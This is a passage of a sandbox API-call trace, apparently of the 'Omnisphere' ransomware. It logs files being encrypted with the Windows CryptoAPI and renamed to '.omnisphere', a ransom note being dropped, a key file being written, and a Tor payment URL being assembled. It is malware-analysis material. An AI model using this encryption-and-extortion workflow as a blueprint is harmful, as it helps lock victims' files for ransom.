pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.420] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.421] CryptDestroyKey (hKey=0x1639528) returned 1 [0120.421] CryptReleaseContext (hProv=0x1668928, dwFlags=0x0) returned 1 [0120.421] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x39d, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0120.421] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0120.421] GetProcessHeap () returned 0x1600000 [0120.421] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a4) returned 0x16cc250 [0120.421] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\if5h-.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\if5h-.lnk.omnisphere")) returned 1 [0120.422] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk.omnisphere.id" [0120.422] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\if5h-.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0120.423] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0120.425] CloseHandle (hObject=0x3c0) returned 1 [0120.425] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0120.425] CloseHandle (hObject=0x288) returned 1 [0120.425] SetEndOfFile (hFile=0x28c) returned 1 [0120.425] FlushFileBuffers (hFile=0x28c) returned 1 [0120.429] CloseHandle (hObject=0x28c) returned 1 [0120.430] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\iF5h-.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0120.430] GetProcessHeap () returned 0x1600000 [0120.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16cd020 [0120.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0120.430] GetProcessHeap () returned 0x1600000 [0120.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b1ed8 [0120.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b1ed8, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0120.430] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0120.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0120.430] GetProcessHeap () returned 0x1600000 [0120.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16affc8 [0120.430] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16affc8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0120.430] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0120.430] GetProcessHeap () returned 0x1600000 [0120.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16bebd0 [0120.430] PathCombineW (in: pszDest=0x16bebd0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0120.430] GetProcessHeap () returned 0x1600000 [0120.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16c1038 [0120.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.431] WriteFile (in: hFile=0x28c, lpBuffer=0x16c1038*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16c1038*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0120.431] CloseHandle (hObject=0x28c) returned 1 [0120.431] GetProcessHeap () returned 0x1600000 [0120.431] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16cd020 | out: hHeap=0x1600000) returned 1 [0120.431] GetProcessHeap () returned 0x1600000 [0120.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0120.431] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0120.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.432] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0120.432] CloseHandle (hObject=0x28c) returned 1 [0120.432] GetProcessHeap () returned 0x1600000 [0120.432] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0120.432] GetProcessHeap () returned 0x1600000 [0120.432] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167bf88 | out: hHeap=0x1600000) returned 1 [0120.432] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x207fa557, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x207fa557, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x207fa557, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x48a, dwReserved0=0x0, dwReserved1=0xd3, cFileName="IGalVIojl3yxMqu5f.lnk", cAlternateFileName="IGALVI~1.LNK")) returned 1 [0120.432] GetProcessHeap () returned 0x1600000 [0120.432] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xac) returned 0x16bff38 [0120.432] PathCombineW (in: pszDest=0x16bff38, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="IGalVIojl3yxMqu5f.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk" [0120.432] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0120.432] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\IGalVIojl3yxMqu5f.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\igalviojl3yxmqu5f.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0120.433] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=1162) returned 1 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.433] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] GetTickCount () returned 0x115e163 [0120.434] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16683d8) returned 1 [0120.435] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639868) returned 1 [0120.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0120.435] CryptDestroyKey (hKey=0x1639868) returned 1 [0120.435] CryptReleaseContext (hProv=0x16683d8, dwFlags=0x0) returned 1 [0120.435] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x48a, lpName=0x0) returned 0x288 [0120.435] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x48a) returned 0x1480000 [0120.435] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x16683d8) returned 1 [0120.436] CryptImportKey (in: hProv=0x16683d8, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x16394e8) returned 1 [0120.436] CryptSetKeyParam (hKey=0x16394e8, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0120.436] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0120.436] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.436] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.436] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.436] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0120.437] CryptEncrypt (in: hKey=0x16394e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: 